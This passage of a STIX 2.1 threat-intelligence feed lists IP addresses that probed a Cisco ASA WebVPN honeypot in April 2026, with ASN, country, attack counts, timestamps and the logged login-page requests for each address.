            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c6cd795b-9c37-4c4a-b048-58791fa9eb24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T19:01:44.909Z",
          "last_seen": "2026-04-29T01:53:20.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--649cedc2-e49d-47da-a195-06be7d41c5f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-08T18:47:48.331Z",
          "last_seen": "2026-04-27T23:29:00.731Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--046a8d81-1a99-4aa7-a398-8d8ebf602934",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T19:06:39.619Z",
          "last_seen": "2026-04-29T21:55:57.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--1ddb8362-88a6-4f7c-a16e-a42c68aad925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T18:54:05.335Z",
          "last_seen": "2026-04-24T16:06:28.396Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T19:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--d003817d-03ce-489e-b6c9-8fbb1cfa2f9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:20:25.000Z",
      "valid_until": "2026-05-10T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T18:25:20.913Z",
          "last_seen": "2026-04-08T18:25:20.913Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--67bf1181-1cf2-482d-8c67-c64f9105fe2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T20:22:44.508Z",
          "last_seen": "2026-04-25T01:35:23.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--2d91242e-be87-4031-9ea9-00aaf288c248",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T21:07:34.434Z",
          "last_seen": "2026-04-30T04:26:34.113Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--37c7479d-cc60-4080-b871-b599bc6f3ad4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T20:27:10.289Z",
          "last_seen": "2026-04-28T02:40:44.797Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--a0914d94-987c-4194-bc28-e9089291c813",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T21:16:57.140Z",
          "last_seen": "2026-04-25T10:48:58.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--139efb3b-654a-424b-8681-a172b245a810",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 34,
          "first_seen": "2026-04-08T21:04:20.536Z",
          "last_seen": "2026-04-30T05:48:52.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--042e5ed0-ca9b-4a7e-87dd-e2a3b0841261",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T20:12:31.934Z",
          "last_seen": "2026-04-25T10:26:23.721Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b767a9d6-2f07-466c-9dbc-c9667fbcce8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T21:15:10.512Z",
          "last_seen": "2026-04-29T14:56:10.695Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--12331f8e-82f0-49d3-8fae-c1928cea3f9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T20:20:11.826Z",
          "last_seen": "2026-04-29T04:18:13.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--546eb9ac-902e-4371-8d40-45b43c757dd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T21:09:11.332Z",
          "last_seen": "2026-04-29T10:13:02.707Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--024bb9a5-b376-47c8-afc9-61d01258d197",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T20:39:06.852Z",
          "last_seen": "2026-04-27T22:23:24.597Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--733756eb-e6cb-4ce6-8e50-e4f05f94c641",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 69,
          "first_seen": "2026-04-08T20:38:04.717Z",
          "last_seen": "2026-04-29T21:34:05.193Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--04019316-3b1b-48e2-9df0-db14506cec4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T20:45:06.513Z",
          "last_seen": "2026-04-19T01:41:49.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T21:23:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /ui HTTP/1.1\" 404 - geo: JP; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--805efbfe-eec3-4f48-9d84-e39ed40ca24b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.211.163.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:23:32.000Z",
      "valid_until": "2026-05-10T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T21:07:40.840Z",
          "last_seen": "2026-04-08T21:07:40.840Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET /ui HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--16f1c873-466a-4c9c-abc2-8face5580658",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T22:54:05.239Z",
          "last_seen": "2026-04-29T03:12:37.827Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b5a56d91-c62c-45ee-afdf-32c77015107e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:20:10.000Z",
      "valid_until": "2026-05-10T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T22:51:19.720Z",
          "last_seen": "2026-04-24T13:30:42.189Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T23:20:10.000Z",
